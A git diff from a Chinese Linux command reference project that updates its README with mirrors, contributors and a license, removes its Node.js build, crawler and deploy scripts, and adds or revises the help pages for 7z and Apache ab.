上海交通大学:http://ftp.sjtu.edu.cn/ - 清华大学:http://mirrors.tuna.tsinghua.edu.cn/ - - http://mirrors6.tuna.tsinghua.edu.cn/ - http://mirrors4.tuna.tsinghua.edu.cn/ - 中国科学技术大学:http://mirrors.ustc.edu.cn/ - - http://ipv4.ustc.edu.cn/ \<教育网、电信\> - http://ipv6.ustc.edu.cn/ \ - 东北大学:http://mirror.neu.edu.cn/ - 浙江大学:http://mirrors.zju.edu.cn/ @@ -206,4 +337,204 @@ https://unpkg.com/linux-command/command/alias.md 对应命令详情(Markdown - [Lakka](http://www.lakka.tv/) [下载地址](http://www.lakka.tv/disclaimer/) - [Game Drift Linux](http://gamedrift.org/) [下载地址](http://gamedrift.org/Download.html) - [Solus](https://solus-project.com) [下载地址](https://solus-project.com/download/) -- [Manjaro Gaming Edition (mGAMe)](https://sourceforge.net/projects/mgame/) [下载地址](https://sourceforge.net/projects/mgame/) \ No newline at end of file +- [Manjaro Gaming Edition (mGAMe)](https://sourceforge.net/projects/mgame/) [下载地址](https://sourceforge.net/projects/mgame/) + +## Team + +[![小弟调调™](https://github.com/jaywcjlove.png?size=100)](https://github.com/jaywcjlove) | [![ZhuangZhu-74](https://github.com/ZhuangZhu-74.png?size=100)](https://github.com/ZhuangZhu-74) | [![Huck Huang](https://github.com/huckhuang.png?size=100)](https://github.com/huckhuang) +---|---|--- +[小弟调调™](http://wangchujiang.com) | [ZhuangZhu-74](https://github.com/ZhuangZhu-74) | [Huck Huang](https://github.com/huckhuang) + +## 感谢所有贡献者 + +一如既往,感谢我们出色的贡献者! + + +小弟调调 +ZhuangZhu-74 +Mend Renovate +Huck Huang +lutixiaya +L +圆头圆脑 +clay-wangzhi +Glett +烟草的香味 +Jayin Tang +丛林意志 +Zijing Zhang +Fubin Zhang +__FresHmaN +dulltackle +ernest +谈笑风生间 +zyy2477 +rgshare +loverainye +lavaicer +YEUNGCHIE +James Wang +MioMuse +Xrtero +Shan Chenyu +SteveLauC +duzhuoshanwai +gggwvg +VVatt +will +xhal +Shell +沙漠之子 +alfred +Wang Yujia +Qliangw +Dazhuangw +Alterem +YH +Xingwen Zhang +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne +lewis1573 +leo +NanoNova +kassadin +juemuren4449 +jqz3.tech +jcdj666 +linuxwd +Ricardowang +cole +dufu +miniwater +noodles2hg +nsnans +zyimm +dayday +Deny +dongpohezui +ecjtusbs +focksor +gang.yang +gedune +geekeryy +gesty +ghy +githubwxz +hanwei +gcluffy +hotdogc1017 +huangyao +hululu1068 +illmons +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +扶苏如是 +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +bycs +Yidan Wang +oliver +rexlin600 +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +waiwai +weibk +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 +0x_000 +Nexchard +Karl Horky +LaudOak +Legend +LexsionLee +孟思行 +Lin Wuxian +LinuxZilong +Lix +Lucien +Wang +mwei +Marnm +MinsonLee +Mystic +Q.Ben Zheng +PanHeng +azroy +Cui Yang +DaYangtuo247 +Danny +Derek +Divenire +Frankie +Github1977 +Guiying Li +重劍無鋒 +HighScorePlayer +Huntout Zhang +Jack +Jack.A.Black +Jelly +Xonline-Tech +Xu Chunyang +Yan Sheng +Yunbin Liu +0Knot (0KN) +One Person’s Revelry +amit794 +Ashine +azureology +bell +bestlaw66 +brinkqiang +c2ch +chaofan +Forever121 +cxalc +Ray Yee +Rining Wu +Robigus +Rocher +殇 +SMVirus +SevenSteven +Azolla +RoachZhao +Spaghetti-C +SunX +T-TRz879 +Na Meng +Wingrez +XBG +Xiaodong DENG + + + + +贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 + +## License + +Licensed under the MIT License. diff --git a/assets/dash-icon.png b/assets/dash-icon.png new file mode 100644 index 00000000000..4d80bd75638 Binary files /dev/null and b/assets/dash-icon.png differ diff --git a/assets/vercel.png b/assets/vercel.png new file mode 100644 index 00000000000..02d84e983c5 Binary files /dev/null and b/assets/vercel.png differ diff --git a/build/compile.js b/build/compile.js deleted file mode 100644 index 594a6866c94..00000000000 --- a/build/compile.js +++ /dev/null @@ -1,396 +0,0 @@ -var exec = require('child_process').exec; -var fs = require('fs'); -var ejs = require('ejs'); -var path = require('path'); -var marked = require('marked'); -var watch = require('watch'); -var stylus = require('stylus') -var highlight = require('highlight.js') -var UglifyJS = require("uglify-js"); -var renderer = new marked.Renderer(); -var color = require('colors-cli/safe'); -var error = color.red.bold; -var warn = color.yellow; -var notice = color.blue; -var success = color.green; - -// console.log("该行代码所在的目录::",__dirname); -// console.log("当前运行的的根目录::",path.dirname(__dirname)); -// console.log("当前目录名字::",path.basename(process.cwd())); -// console.log("当前目录::",process.cwd()); - -renderer.heading = function (text, level) { - if(/[\u4E00-\u9FA5]/i.test(text)){ - return ''+text+''; - }else{ - var escapedText = text.toLowerCase().replace(/[^\w]+/g, '-'); - return ''+text+''; - } -} - -marked.setOptions({ - renderer: renderer, - gfm: true, - tables: true, - breaks: false, - pedantic: false, - sanitize: false, - smartLists: true, - smartypants: false, - highlight: function (code, lang, callback) { - lang = lang?lang:"bash"; - return callback('',highlight.highlight(lang,code).value); - } - // highlight: function (code, lang, callback) { - // if(lang){ - // return highlight.highlight(lang,code).value; - // // return callback('',highlight.highlight(lang,code).value); - // }else{ - // return highlight.highlightAuto(code).value; - // // return callback('',highlight.highlightAuto(code).value); - // } - // } -}); - -// 根目录 -// var path_root = path.dirname(__dirname); -var path_root = process.cwd(); - - -// 删除文件夹 -exec('rm -rf .deploy'); - -// .deploy -// 当前项目根目录 -// 生成 项目所需的文件 -CreateDatajs('./.deploy/js/dt.js',function(dt_path,arr){ - - - // 拷贝 favicon.ico 文件 start - var filetopath = path.join(process.cwd(),'/template/img/favicon.ico'); - var topath = '.deploy/img/favicon.ico' - - mkdirsSync(path.join(process.cwd(),'.deploy/img/')); - // 创建读取流 - readable = fs.createReadStream( filetopath ); - // 创建写入流 - writable = fs.createWriteStream(topath); - // 通过管道来传输流 - readable.pipe( writable); - console.log(success(" → ")+topath + ''); - // 拷贝 favicon.ico 文件 end - - - CreateJS('/template/js/index.js','/.deploy/js/index.js') - - CreateStyl('/template/styl/index.styl','/.deploy/css/index.css') - - // 首页生成 - ReadTmpToHTML('/template/index.ejs','/.deploy/index.html',null,{ - 'p':'/index.html', - 'n':'Linux命令搜索引擎', - 'd':'最专业的Linux命令大全,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。', - 'command_length':arr.length - }); - ReadTmpToHTML('/template/list.ejs','/.deploy/list.html',null,{ - p:'/list.html', - n:'搜索', - d: '最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。', - command_length: arr.length - }); - - ReadTmpToHTML('/template/hot.ejs','/.deploy/hot.html',null,{ - p:'/hot.html', - n:'搜索', - d:'最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。', - arr: arr, - command_length: arr.length - }); - // 文章批量生成 - arr.forEach(function(itm,idx){ - var ejstpm = path.join('/template/',itm.p); - var md_path = path.join('/command',itm.p); - var dep = path.join('/.deploy/c',itm.p); - itm.command_length = arr.length; - ReadTmpToHTML('/template/details.ejs', dep+'.html' ,md_path+'.md', itm ,arr) - }); - - console.log(success(" → "),arr.length) - -}) - -function copy(src, dst) { - fs.createReadStream(src).pipe(fs.createWriteStream(dst)); -} - - -// // 监听实时编译 -// watch.watchTree(path.join(path.dirname(__dirname),'/'), function (f, curr, prev) { -// if (typeof f == "object" && prev === null && curr === null) { -// console.log(success(" → :watching ") + '/template/'); -// // Finished walking the tree -// } else if (prev === null) { - -// // f is a new file -// } else if (curr.nlink === 0) { -// // f was removed -// } else { - -// if(/\.styl$/.test(f)){ -// CreateStyl('/template/styl/index.styl','/.deploy/css/index.css') -// }else if(/\.js$/.test(f)){ - -// CreateJS('/template/js/index.js','/.deploy/js/index.js') - -// }else if(/\.ejs$/.test(f)){ -// // 首页生成 -// ReadTmpToHTML('/template/index.ejs','/.deploy/index.html'); -// ReadTmpToHTML('/template/list.ejs','/.deploy/list.html'); - -// }else if(/\.md$/.test(f)){ -// var mdp = f.replace(path_root,''); -// var dep = path.join('/.deploy/',mdp); -// ReadTmpToHTML('/template/details.ejs',dep.replace('.md','.html'),mdp); -// } -// } -// }) - - -function CreateJS(from_path,to_path){ - - // 生成到指定目录 - var new_to_path = path.join(path.dirname(__dirname),to_path); - // 循环创建目录 - mkdirsSync(path.dirname(new_to_path)); - var js_code = UglifyJS.minify(path.join(path_root,from_path), { mangle: { toplevel: true } }); - fs.writeFileSync(new_to_path, js_code.code); - console.log(success(" → ")+to_path + ''); - -} - -/** - * [ReadTmpToHTML ejs 模板转换成HTML] - * @param {[type]} from_path [模版来源地址] - * @param {[type]} to_path [生成到指定的位置] - * @param {[type]} md_path [Markdown的路径] // 给md地址就生产详情页面 - * @param {[type]} des_json [页面信息 json 格式] - * @param {[type]} arr [] - */ -function ReadTmpToHTML(from_path,to_path,md_path,des_json, total_pages){ - var tmp_path = path.join(path.dirname(__dirname),from_path); - if(!exists(tmp_path)) return console.log("\n → error: 模板文件 "+tmp_path+" 不存在") - var tmp_str = fs.readFileSync(tmp_path); - tmp_str = tmp_str.toString(); - - var relative_path = ''; - var current_path = to_path.replace(/^\/\.deploy/,''); - if(md_path){ - //CSS/JS 引用相对地址 - relative_path = path.relative(md_path.toString(),'/'); - relative_path = relative_path.replace(/\.\.$/,''); - } - // 生成 HTML - var html = ejs.render(tmp_str,{ - filename: tmp_path, - relative_path:relative_path, // 当前文件相对于根目录的相对路径 - md_path:md_path?md_path:'', // markdown 路径 - current_path:current_path, // 当前 html 路径 - describe:des_json?des_json:{}, // 当前 md 的描述 - }); - // 生成到指定目录 - var new_to_path = path.join(path.dirname(__dirname),to_path); - // 循环创建目录 - !exists(path.dirname(new_to_path)) && mkdirsSync(path.dirname(new_to_path)); - - if(md_path){ - var new_md_path = path.join(path.dirname(__dirname),md_path); - var README_str = fs.readFileSync(new_md_path); - marked(README_str.toString(),function(err,md_html){ - if (err) return console.log(error(' → '+md_path+" 转换成HTML失败!")); - - html = html.split('{{content}}') - html.splice(1, 0, md_html); - html = html.join('') - // html = html.replace('{{content}}',md_html); - fs.writeFileSync(new_to_path,html); - console.log(success(" → ")+to_path + ''); - }) - }else{ - html = html.toString(); - fs.writeFileSync(new_to_path, html.replace(/\n/g,'')); - console.log(success(" → ")+to_path + ''); - } -} - - - - -/** - * [CreateStyl 生成CSS] - * @param {[type]} styl_path [description] - * @param {[type]} css_path [description] - */ -function CreateStyl(styl_path,css_path){ - var new_css_path = path.join(path.dirname(__dirname),css_path); - styl_path = path.dirname(__dirname) + styl_path; - // var paths = [ - // path.dirname(__dirname) , path.dirname(__dirname) + '/' - // ]; - var styl_str = fs.readFileSync(styl_path, 'utf8'); - stylus(styl_str.toString()) - .set('filename', styl_path ) - .set('compress', true) - .render(function(err, css){ - if (err) throw err; - // 循环创建目录 - mkdirsSync(path.dirname(new_css_path)); - fs.writeFileSync(new_css_path, css); - // console.log(err,css); - console.log(success(" → ")+styl_path + ''); - }); -} - -// 生成数据索引JS -function CreateDatajs(dt_path,callback){ - // 获取 markdown文件所在的目录 - var path_md = path.join(path.dirname(__dirname),'command'); - var path_dist = path.join(path.dirname(__dirname),'dist'); - if(!exists(path_md)) return console.log("\n → error: 文件夹 "+path_md+" 不存在 \n ") - // 获取 markdown 目录的集合 - var path_arr = readMDSync(path_md); - path_arr = sortLength(path_arr); - var indexes = []; - - var command_data={} - path_arr.forEach(function(md_path,i){ - var json = {} - var con = fs.readFileSync(md_path); - var str = con.toString(); - var title = str.match(/[^===]+(?=[===])/g); - - title = title[0]?title[0].replace(/\n/g,''):title[0]; - title = title.replace(/\r/,'') - // 命令名称 - json["n"] = title; - // 命令路径 - json["p"] = md_path.replace(/\.md$/,'').replace(path_md,''); - // 命令描述 - var des = str.match(/\n==={1,}([\s\S]*?)##/i); - if (!des) { - console.log('格式错误:', error(md_path)); - } - des = des[1]?des[1].replace(/\n/g,''):des[1]; - des = des.replace(/\r/g,'') - json["d"] = des; - indexes.push(json) - - command_data[title] = json; - }) - mkdirsSync(path.dirname(dt_path)); - - console.log("path.dirname(__dirname)",path.dirname(__dirname)) - //生成数据文件 - fs.writeFile(dt_path, 'var linux_commands='+JSON.stringify(indexes) , 'utf8',function(err){ - console.log(success("\n → ")+"生成数据成功!"+dt_path+" \n "); - path_dist = path.join(path_dist,'data.json') - fs.writeFile(path_dist, JSON.stringify(command_data) , 'utf8',function(err){ - console.log(success("\n → ")+"生成数据成功!"+path_dist+" \n "); - callback&&callback(dt_path,indexes); - }); - - }); -} - -// 按长度排序 -function sortLength(arr){ - var compare = function (x, y) {//比较函数 - x = path.basename(x,'.md'); - y = path.basename(y,'.md'); - if (x.length < y.length) { - return -1; - } else if (x.length > y.length) { - return 1; - } else { - return 0; - } - } - return arr.sort(compare) -} - -// 同步循环创建所有目录 resolvePath -function mkdirsSync(dirpath, mode, callback) { - if(fs.existsSync(dirpath)){ - callback&&callback(dirpath); - return true; - }else{ - if(mkdirsSync(path.dirname(dirpath), mode)){ - fs.mkdirSync(dirpath, mode, callback); - callback&&callback(dirpath); - return true; - }else{ - callback&&callback(dirpath); - } - } -}; - -var fixture = path.join.bind(path, __dirname, 'template'); - -function cp(src, dest, cb) { - // yield support - if ('function' != typeof cb) return thunk; - - var complete = false; - var read = fs.createReadStream(src); - var write = fs.createWriteStream(dest); - - write.on('error', done); - write.on('close', done); - read.on('error', done); - read.pipe(write); - - // done callback - function done(err) { - if (!complete) { - complete = true; - read.destroy(); - write.destroy(); - cb(err); - } - } - - // thunk-ified - function thunk(done) { - cp(src, dest, done); - } -} - -//返回 MD 所有路径的 Array -function readMDSync(filepath){ - if(!exists(filepath)) return []; - var str = '',files = fs.readdirSync(filepath); - for (var i = 0; i < files.length; i++) { - var path_c = path.join(filepath,files[i]); - if( isDir(path_c) ) { - str += readMDSync(path_c) + ','; - } - else if(/\.(md)$/.test(files[i])) str += path_c + ','; - }; - str = str.replace(/^\*|\,*$/g,''); - return str.split(','); -} -//写文件 -function writeSync(filepath, content, callback) { - mkdirsSync(path.dirname(filepath)); - return fs.writeFileSync(filepath, content, callback); -}; - -//写文件 -function write(filepath, content) { - return fs.writeFile(filepath, content); -}; - -//判断是不是目录 -function isDir(_path){return exists(_path) && fs.statSync(_path).isDirectory();} - -//检查指定路径的文件或者目录,是否存在 -function exists(_path){return fs.existsSync(_path);} \ No newline at end of file diff --git a/build/crawler.js b/build/crawler.js deleted file mode 100644 index 5d0622a3e33..00000000000 --- a/build/crawler.js +++ /dev/null @@ -1,160 +0,0 @@ -var request = require('superagent'); -var cheerio = require('cheerio'); -var toMarkdown = require('to-markdown'); -var path = require('path'); -var process = require('process'); -var fs = require('fs'); -var color = require('colors-cli/safe'); -var error = color.red.bold; -var warn = color.yellow; -var notice = color.blue; -var success = color.green; - -var param = process.argv.slice(2); - - -// 需要爬的命令 -// var arr = ["find"]; -// var arr = []; -var arr = []; -// var arr = ["arch","axel","chsh","comm","compress","csplit","cut","dd","dig","dmesg","domainname","du","enable","fdisk","file","ftp","htpasswd","id","insmod","losetup","ls","lynx","mail","mkinitrd","netstat","nslookup","od","passwd","pgrep","ping","quota","restorecon","rmmod","screen","sed","semanage","smbclient","split","startx","sudo","tee","tftp","wall","wget","which","accept","apt-get","apt-key","apt-sortpkgs","aptitude","awk","clockdiff","cupsenable","dnf","dpkg-reconfigure","dpkg","expr","gcc","gdb","ldconfig","ldd","lpadmin","make","ngrep","nm","ntpdate","objdump","perl","php","protoize","pssh","pstack","readelf","reject","rsync","speedtest-cli","tempfile","test","vdfuse","xargs"]; - -// 还没有爬到的命令:--> ["bye","uucico","uucp","uupick","uuto","git","gitview","mattrib","mc","mcopy","mdel","mdir","mmove","mread","mren","mshowfat","mtoolstest","rhmask","tmpwatch","lndir","mcd","mdeltree","mdu","mlabel","mmd","mmount","mrd","mzip","rmt","cfdisk","ext2ed","fsck.ext2","fsck.minix","fsconf","mbadblocks","mformat","mkdosfs","mkfs.ext2","mkfs.minix","mkfs.msdos","mpartition","sfdisk","symlinks","apmd","aumix","eval","fbset","kbdconfig","liloconfig","minfo","mkkickstart","modinfo","mouseconfig","rdate","setconsole","setenv","setup","sndconfig","SVGAText Mode","timeconfig","adduser","fwhois","gitps","newgrp","procinfo","rwho","sliplogin","suspend","swatch","userconf","vlock","whois","mtype","rgrep","dip","getty","mingetty","ppp-off","smbd(samba daemon)","uulog","uustat","uux","dnsconf","efax","httpd","minicom","netconf","netconfig","pppstats","samba","setserial","shapecfg(shaper configuration)","smbd(samba daemon)","statserial(status ofserial port)","testparm(test parameter)","tty(teletypewriter)","uuname","wall(write all)","ytalk","smbclient(samba client)","pppsetup","dumpkeys","loadkeys","MAKEDEV","rdev","setleds","archive","ctlinnd","getlist","inncheck","mailconf","messages","metamail","mutt","nntpget","pine","slrn","X WINDOWS SYSTEM","reconfig","startx(start X Window)","Xconfigurator","XF86Setup" ,"nc/netcat","locate/slocate","get_module"] -// 已经存在的命令:----> [] -// 名字不对的命令:----> ["ar","locate","slocate","clock","resize","cu","nc"] -// 网站中没有的命令 -var empty_command = []; -// 已经爬过/存在的命令 -var exists_command = []; -// 名字不对的命令 -var name_command = []; -var arr_len = 0; - -arr[arr_len]&&CreatMarkdownQuery(arr[arr_len]); - - -function CreatMarkdownQuery(query){ - var url = 'http://man.linuxde.net/'+query; - var new_to_path = path.join(path.dirname(__dirname),'command/'+query+'.md') - - - if(!arr[arr_len]){ - console.log('还没有爬到的命令:-->', JSON.stringify(empty_command) ) - console.log('已经存在的命令:---->', JSON.stringify(exists_command) ) - console.log('名字不对的命令:---->', JSON.stringify(name_command) ) - return; - }; - - ++arr_len; - - // 文件已经存在 - if(exists( new_to_path )) { - exists_command.push(query) - CreatMarkdownQuery(arr[arr_len]); - return console.log(" → error:文件存在 ",new_to_path) - } - - request.get(url).end(function(err, res){ - - if(arr[arr_len]){ - CreatMarkdownQuery(arr[arr_len]); - } - // console.log("res.text:::--->",res.text) - - if(/命令还没有被录入!/.test(res.text)){ - empty_command.push(query) - return console.log(" → error: 没有爬到数据,命令" + query +'不存在!') - } - var $ = cheerio.load(res.text); - var description = $('title').text(); - description = description.replace(/(.*)命令用法详解:/,'') - - var title = $('.main h1.l'); - title = title.text(); - title = title.replace(/命令$/,''); - - - if(query!==title){ - name_command.push(query) - return console.log(" → error: 名字不对的命令 ",query) - } - - if(!title){ - empty_command.push(query); - return console.log(error(" → error: 命令" + query +'不存在!标题为空')) - } - var content = $('#content-index').remove() - content = $('.main .post_bd').html(); - var md_str = toMarkdown(content); - - md_str = md_str.replace(/linuxde.net/g,'jsdig.com'); - md_str = md_str.replace(/linuxde/g,'jsdigname'); - md_str = md_str.replace(/\*\*(.*?)\*\*/g,' **$1** '); - md_str = md_str.replace(/^\s\*\*(.*?)\*\*/g,'**$1**'); - md_str = title + '\n===\n'+description+'\n\n## 补充说明\n\n' + md_str; - md_str = md_str.replace(/
/gi,'```\n')
-        md_str = md_str.replace(/<\/pre>/gi,'\n```')
-        md_str = md_str.replace(//gi,'')
-        md_str = md_str.replace(/<\/span>/gi,'')
-        md_str = md_str.replace(/\[[^\]]*\]\(.*?\)/g,function(str){
-            str.replace(/\[(.*?)\]/,'');
-            return RegExp.$1;
-        })
-        // console.log("md_str--->",md_str)
-        md_str += '\n\n\n'
-
-        fs.writeFileSync(new_to_path, md_str ,'utf-8');
-        console.log(success(" → OK!"),new_to_path)
-    });
-}
-
-
-
-/**
- * 指定URL爬
- */
-
-
-// var from_path = param[0];
-// var to_path = param[1];
-// if(!from_path) return console.error("请输入请求参数!");
-// if(!to_path) return console.error("请输入写入目标目录!");
-// CreatMarkdown(from_path,to_path)
-
-function CreatMarkdown(from_path,to_path){
-
-    var new_to_path = path.join(path.dirname(__dirname),to_path)
-    if(exists(new_to_path)) return console.log(" → error: 目录存在 ",to_path,'\n')
-
-    new_to_path = path.dirname(new_to_path)
-    mkdirsSync(new_to_path,0777,function(){
-
-        request.get(from_path).end(function(err, res){
-            // console.log("to_path::",to_path)
-            fs.writeFileSync(to_path, toMarkdown(res.text).toString() ,'utf-8');
-            console.log(" → ",to_path)
-        });
-
-    });
-}
-
-
-// 同步循环创建所有目录 resolvePath
-function mkdirsSync(dirpath, mode, callback) {
-    if(fs.existsSync(dirpath)){
-        callback&&callback(dirpath);
-        return true;
-    }else{
-        if(mkdirsSync(path.dirname(dirpath), mode)){
-            fs.mkdirSync(dirpath, mode, callback);
-            callback&&callback(dirpath);
-            return true;
-        }else{
-            callback&&callback(dirpath);
-        }
-    }
-};
-
-
-//检查指定路径的文件或者目录,是否存在
-function exists(_path){return fs.existsSync(_path);}
\ No newline at end of file
diff --git a/build/deploy.js b/build/deploy.js
deleted file mode 100644
index 7d00995123d..00000000000
--- a/build/deploy.js
+++ /dev/null
@@ -1,28 +0,0 @@
-var exec = require('child_process').exec;
-var ghpages = require('gh-pages');
-var loading =  require('loading-cli');
-var path = require('path');
-var fs = require('fs');
-var color = require('colors-cli/safe');
-var error = color.red.bold;
-var warn = color.yellow;
-var notice = color.blue;
-var success = color.green;
-
-var deploy_path = path.join(process.cwd(), '.deploy');
-
-if(fs.existsSync(deploy_path)){
-    var load = loading('  Pushing code!!')
-    load.start();
-    ghpages.publish(deploy_path,{ 
-        repo: 'git@github.com:jaywcjlove/linux-command.git',
-        branch: 'gh-pages',
-        message: 'Linux command index, Compiler generation page ' + new Date()
-    }, function(err) { 
-        if(err) return console.log(error('  → '+"ok!"+err));
-        load.stop()
-        console.log(success('\n\n   '+"Push success!!"));
-        // 删除文件夹
-        exec('rm -rf .deploy');
-    });   
-}
diff --git a/command/7z.md b/command/7z.md
new file mode 100644
index 00000000000..9a683a3389b
--- /dev/null
+++ b/command/7z.md
@@ -0,0 +1,142 @@
+7z
+===
+
+拥有极高压缩比的开源压缩软件。
+
+## 安装
+
+在 Linux 中输入以下命令安装 7-Zip。
+
+```bash
+# Ubuntu 系统
+apt-get update
+apt-get install p7zip-full -y
+
+# CentOS    参考:https://linuxconfig.org/how-to-install-p7zip-on-redhat-8
+sudo yum install epel-release
+yum install p7zip p7zip-plugins
+
+```
+
+## 实例
+
+介绍几个常用场景:解压、压缩、查看(压缩包内容)。
+
+1、将压缩文件 text.7z 在当前目录下解压缩。
+
+```bash
+7z x text.7z
+```
+
+2、将压缩文件 text.7z 在指定目录(/home/text)下解压缩。
+
+```bash
+# 注意 -o 用来指定解压缩文件存放目录,-o 后是没有空格的,直接接目录
+7z x text.7z -r -o/home/text
+```
+
+3、将压缩文件 text.7z 中的 `dir1/dir2` 和 `dir1/file1` 提取到在指定目录(/home/text)下(保持原有路径结构)。
+
+```bash
+# 注意 dir1/dir2,dir1/file1 为压缩包中文件或文件夹路径
+7z x text.7z dir1/dir2 dir1/file1 -o/home/text
+```
+
+4、将文件 /home/text 压缩成 text.7z。
+
+```bash
+7z a text.7z -r /home/text
+```
+
+5、查看压缩包 text.7z 内容,但不解压。
+
+```bash
+7z l text.7z
+```
+
+## help 信息翻译
+
+```shell
+使用方法: 7z <命令> [<开关>...]  [...]
+
+<命令>
+  a : 添加文件到压缩包
+  b : 基准测试
+  d : 从压缩包中删除文件
+  e : 从压缩包中提取文件(不使用目录名)。
+  h : 计算文件的哈希值
+  i : 显示支持的格式信息
+  l : 列出压缩包的内容
+  rn : 重命名压缩包中的文件
+  t : 测试压缩包的完整性
+  u : 更新压缩包中的文件
+  x : 提取完整路径的文件
+
+<开关>
+  -- : 停止对 - 开头的开关和 @ 开头的文件列表的解析,为了允许 7-Zip 使用以 - 和 @ 开头的文件名。
+  -ai[r[-|0]]{@listfile|!wildcard} : 包括指定压缩包文件
+  -ax[r[-|0]]{@listfile|!wildcard} : 排除指定压缩包文件
+  -ao{a|s|t|u} : 设置覆写模式
+    -aoa 覆盖所有现有文件,无提示。
+    -aos 跳过提取现有文件。
+    -aou 自动重命名提取的文件(例如,name.txt 将重命名为 name_1.txt)。
+    -aot 自动重命名现有文件(例如,name.txt 将重命名为 name_1.txt)。
+  -an : 禁用压缩包名称字段解析,必须与 -ai 开关一起使用。
+  -bb[0-3] : 设置输出日志级别
+    -bb0 禁用日志(默认)。
+    -bb1 或 -bb 在日志中显示已处理文件的名称。
+    -bb2 显示在压缩包文件中跳过的文件名称(对于 “提取” 操作)和重新打包的文件名称(对于 “添加” / “更新” 操作)
+    -bb3 显示 “添加” / “更新” 操作的其他操作(分析、复制)信息。
+  -bd : 禁用进度指示器
+  -bs{o|e|p}{0|1|2} : 设置输出/错误/进度行的输出流
+    o 标准输出信息
+    e 错误信息
+    p 进度信息
+    0 禁用流
+    1 重定向到标准输出流
+    2 重定向到标准错误流
+  -bt : 显示执行时间统计
+  -i[r[-|0]]{@listfile|!wildcard} : 包括文件名
+  -m{Parameters} : 设置压缩方法
+    -mmt[N] : 设置 CPU 线程的数量
+    -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强),-mx0(不压缩)
+  -o{Directory} : 设置输出目录
+  -p{Password} : 设置密码
+  -r[-|0] : 重新搜索子目录
+  -sa{a|e|s} : 设置压缩包名称模式
+  -scc{UTF-8|WIN|DOS} : 设置控制台输入/输出的字符集。
+  -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}} : 设置列表文件的字符集。
+  -scrc[CRC32|CRC64|SHA1|SHA256|*] : 为x、e、h命令设置哈希函数。
+  -sdel : 压缩后删除文件
+  -seml[.] : 通过电子邮件发送压缩包
+  -sfx[{name}] : 创建 SFX 压缩包
+  -si[{name}] : 从标准输入读取数据
+  -slp : 设置大型页面模式
+  -slt : 显示l(List)命令的技术信息
+  -snh : 将硬链接存储为链接
+  -snl : 将符号链接存储为链接
+  -sni : 存储 NT 安全信息
+  -sns[-] : 存储 NTFS 备用流
+  -so : 向标准输出写数据
+  -spd : 禁用文件名的通配符匹配
+  -spe : 消除提取命令中根文件夹的重复。
+  -spf[2] : 使用完全合格的文件路径
+  -ssc[-] : 设置敏感的大小写模式
+  -sse : 如果无法打开某些输入文件,则停止创建压缩包
+  -ssp : 压缩包时不更改源文件的最后访问时间
+  -ssw : 压缩共享文件
+  -stl : 从最近修改的文件设置压缩包时间戳
+  -stm{HexMask} : 设置 CPU 线程亲和力掩码(十六进制数字)。
+  -stx{Type} : 排除压缩包类型
+  -t{Type} : 设置压缩包的类型
+  -u[-][p#][q#][r#][x#][y#][z#] [!newArchiveName] : 更新选项
+  -v{Size}[b|k|m|g] : 创建卷
+  -w[{path}] : 指定工作目录。空的路径意味着一个临时目录
+  -x[r[-|0]]{@listfile|!wildcard} : 排除文件名。
+  -y : 假设所有的查询都是肯定的
+```
+
+## 官网
+
+更多安装使用方法可以访问官网学习:[https://www.7-zip.org/](https://www.7-zip.org/)
+或者可以访问简体中文网站:[https://sparanoid.com/lab/7z/](https://sparanoid.com/lab/7z/)
diff --git a/command/ab.md b/command/ab.md
index 816844c2a6d..8beb72dbf09 100644
--- a/command/ab.md
+++ b/command/ab.md
@@ -1,43 +1,142 @@
 ab
 ===
-
+
 Apache服务器的性能测试工具
 
-## 补充说明
 
-**ab命令** 是Apache的Web服务器的性能测试工具,它可以测试安装Web服务器每秒种处理的HTTP请求。
+## 安装
 
-### 语法  
+若系统未安装,使用以下命令安装
+
+```shell
+# Ubuntu
+sudo apt-get install apache2-utils
+
+# Centos
+yum install httpd-tools
 
 ```
-ab(选项)(参数)
-```
 
-### 选项  
 
+## 补充说明
+
+**ab命令** 是一个测试你 Apache http 服务器的工具,你可以通过这个工具,指定一个单位时间内向 apache 发出的请求数量来看看你的 Apache 和机器配合的性能如何。
+
+### 语法
+
+```shell
+ab [ -A auth-username:password ] [ -c concurrency ] [ -C cookie-name=value
+] [ -d ] [ -e csv-file ] [ -g gnuplot-file ] [ -h ] [ -H custom-header ] [
+-i  ]  [  -k  ]  [  -n  requests  ] [ -p POST-file ] [ -P proxy-auth-user‐
+name:password ] [ -q ] [ -s ] [ -S ] [ -t timelimit ] [ -T content-type  ]
+[  -v verbosity] [ -V ] [ -w ] [ -x -attributes ] [ -X proxy[:port]
+]  [  -y  -attributes  ]  [  -z   
-attributes ] [http://]host‐ +name[:port]/path ``` --A:指定连接服务器的基本的认证凭据; --c:指定一次向服务器发出请求数; --C:添加cookie; --g:将测试结果输出为“gnuolot”文件; --h:显示帮助信息; --H:为请求追加一个额外的头; --i:使用“head”请求方式; --k:激活HTTP中的“keepAlive”特性; --n:指定测试会话使用的请求数; --p:指定包含数据的文件; --q:不显示进度百分比; --T:使用POST数据时,设置内容类型头; --v:设置详细模式等级; --w:以HTML表格方式打印结果; --x:以表格方式输出时,设置表格的属性; --X:使用指定的代理服务器发送请求; --y:以表格方式输出时,设置表格属性。 + +### 选项 + +```shell +-A auth-username:password + # 支持基本的验证证书,用户名和密码之间使用"冒号" : + # 分隔开,ab将以明文方式传送过去.不管服务器是不是需要 + # ,也就是说你的服务器需要支持401认证. + +-c concurrency + # 同时向服务器端发送的请求数目,默认状态下是一次 只执行一个http请求. + +-C cookie-name=value + # Add a Cookie: line to the request. The argument is typically in the + # form of a name=value pair. This field is repeatable. + +-d # Do not display the "percentage served within XX [ms] table". + # (legacy support). + +-e csv-file + # Write a Comma separated value (CSV) file which contains for each + # percentage (from 1% to 100%) the time (in milli seconds) it took to + # serve that percentage of the requests. This is usually 